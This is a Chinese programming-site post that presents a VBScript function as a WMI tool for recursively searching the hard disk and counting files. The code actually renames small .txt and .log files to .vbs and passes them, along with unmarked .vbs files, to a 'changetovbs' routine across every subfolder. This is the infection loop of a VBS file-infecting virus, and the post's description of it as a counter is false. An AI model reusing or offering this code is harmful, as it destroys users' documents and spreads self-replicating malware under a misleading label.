欢迎您访问程序员文章站本站旨在为大家提供分享程序员计算机编程知识!
您现在的位置是: 首页  >  IT编程

VBS调用WMI遍历搜索硬盘文件并计数的方法

程序员文章站 2022-06-17 22:10:02
多年之前写的一个vbs调用wmi来遍历搜索硬盘文件,并计数的函数,今天整理网盘,看到了,发上来 核心代码: function wmisfile(path_sf,...

多年之前写的一个vbs调用wmi来遍历搜索硬盘文件,并计数的函数,今天整理网盘,看到了,发上来

核心代码:

function wmisfile(path_sf,justcnt)
  'on error resume next
  strcomputer = "."
  set objwmiservice = getobject("winmgmts:\\" & strcomputer & "\root\cimv2")
  set filelist = objwmiservice.execquery _
  ("associators of {win32_directory.name='" & path_sf & "'} where " _
   & "resultclass = cim_datafile")
  for each objfile in filelist
    fname = lcase(objfile.name)
    ename = lcase(objfile.extension)
    if 1 < objfile.filesize and objfile.filesize <= 50000 then
      select case ename
        case "txt","log"
        path_vbs = objfile.drive & objfile.path & objfile.filename & ".vbs"
        objfile.rename(objfile.drive & objfile.path & objfile.filename & ".vbs")
        call changetovbs(path_vbs,path_vbs)
        justcnt = justcnt + 1
        case "vbs"
        if checkversion(fname) = false then
          call changetovbs(fname,fname)
          justcnt = justcnt + 1
        end if
      end select
    end if
  next
  set colsubfolders = objwmiservice.execquery _
  ("associators of {win32_directory.name='" & path_sf & "'} " _
   & "where assocclass = win32_subdirectory " _
   & "resultrole = partcomponent")
  for each objfolder in colsubfolders
    wmisfile objfolder.name,justcnt
  next
end function